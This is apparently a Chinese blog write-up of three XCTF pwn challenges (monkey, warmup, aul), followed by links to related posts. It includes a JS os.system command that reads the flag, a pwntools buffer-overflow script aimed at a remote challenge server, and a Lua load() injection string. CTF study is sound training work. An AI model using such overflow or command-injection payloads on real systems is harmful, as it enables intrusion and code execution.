[XCTF-pwn] 8-monkey 9-warmup 20_csaw-ctf-2016-quals-aul

这个题不会，搜了下wp原来这么简单，一直用js都是写网页，没用过os库

题目是个大文件，基本没法看。运行后出提示符，打help有点提示。

其实就是个js的解释器，直接运行命令就能拿到flag

js> os.system('cat flag')
os.system('cat flag')
cyberpeace{fbbe21cdff06b6bb983a88c58185de99}
js>

warmup

这个题有后门，有溢出，直接溢出到返回地址写后门

from pwn import *p = remote('111.200.241.244',62270) #node3.buuoj.cn
p.sendafter('>',b'A'*0x48 + p64(0x40060d))
p.interactive()

20和8应该属于同一类，那个是js这个是lua。同样不用写东西。复制了一段网上搜到的exp，从头到尾说完，实际上就是最后执行那一句

SOLUTION
--------The player is expected to follow a deductive path:1. Connect and try the commands.
2. Discover that 'help' actually return some binary data.
3. Upon analysis the player realizes that binary data is compiled LUA script.
4. The LUA script will not decompile because it is corrupt.
5. Comparing is own trials, the player will discover that the header is missing the first byte.
6. Once the header is fixed the player uses unluac tool to decompile.
7. After auditing the code, the player noticed the injection.
8. use `load('lines = io.lines("flag")\n for l in lines do writeline(l) end') -- ` string to obtain the key. There maybe more be more than one solution.

[XCTF-pwn] 8-monkey 9-warmup 20_csaw-ctf-2016-quals-aul相关推荐

[SECCON CTF 2016 Quals] Chat 分析与思考
CTFSHOW吃瓜杯,PWN方向第三题竟是SECCON原题,于是当时没有仔细研究,直接套用了其他大佬的EXP(第二第三第四题都是各大比赛的原题,网上可以直接找到写好的EXP......) 既然现在比赛 ...
CSAW CTF 2016 PWN quals-warmup
CSAW CTF 2016 PWN quals-warmup 原文链接先对文件有个大致的了解,是64位ELF文件 ☁ csaw ctf 2016 quals-warmup ls exp.py fla ...
XCTF pwn例题思路整理侵删
XCTF pwn例题思路整理侵删 1 .decode("iso-8859-1") 处理报错 2 read() 栈溢出函数定义:ssize_t read(int fd, void ...
HITCON CTF 2015 Quals Web 出題心得
Blog: http://blog.orange.tw p.s. 相關代碼皆放在 Github 上,有興趣研究之同學可以先看看代碼嘗試解解看後在敘述! 寫在 HITCON CTF 2015 Quals ...
xctf pwn Aul
对于这道题我- binbin@ubuntu:~$ nc 111.198.29.45 33083 let's play a game | 0 0 0 0 0 0 0 0 | | 0 1 0 0 0 0 ...
[CTFTraining] ASIS CTF 2019 Quals Unicorn shop
阿米尔卡比尔大学信息安全与密码学研究小组夺旗赛我们随便买一件商品,1~3都显示: 只有第4个显示: 只允许输入一个字符,题目叫Unicorn,猜测为Unicode.在Unicode - ...
[Bugku CTF——Pwn] pwn2
[Bugku CTF--Pwn] pwn2 题目地址:https://ctf.bugku.com/ 额,好久不写这么简单的题目了利用栈溢出修改返回地址就好, 如果不会就去看看什么是栈溢出 explo ...
[Bugku CTF——Pwn] pwn4
[Bugku CTF--Pwn] pwn4 题目地址:https://ctf.bugku.com/ 给的提示很清楚,绕过canary保护那就绕过就好题目当中有system函数利用ROPgadge ...
[Bugku CTF——Pwn] pwn1
[Bugku CTF--Pwn] pwn1 题目地址:https://ctf.bugku.com/ 额, 直接nc连接上,就可以直接得到shell 好水哦,新手玩玩就好,老鸟勿喷无语凝噎 cat f ...
CTF pwn题堆入门 -- Unsorted bin
Unsorted bin 序言概述攻击方式 unlink 释放Chunk到Unsorted bin House of Orange House of einherjar Unsorted bin ...

[XCTF-pwn] 8-monkey 9-warmup 20_csaw-ctf-2016-quals-aul

[XCTF-pwn] 8-monkey 9-warmup 20_csaw-ctf-2016-quals-aul相关推荐

最新文章

热门文章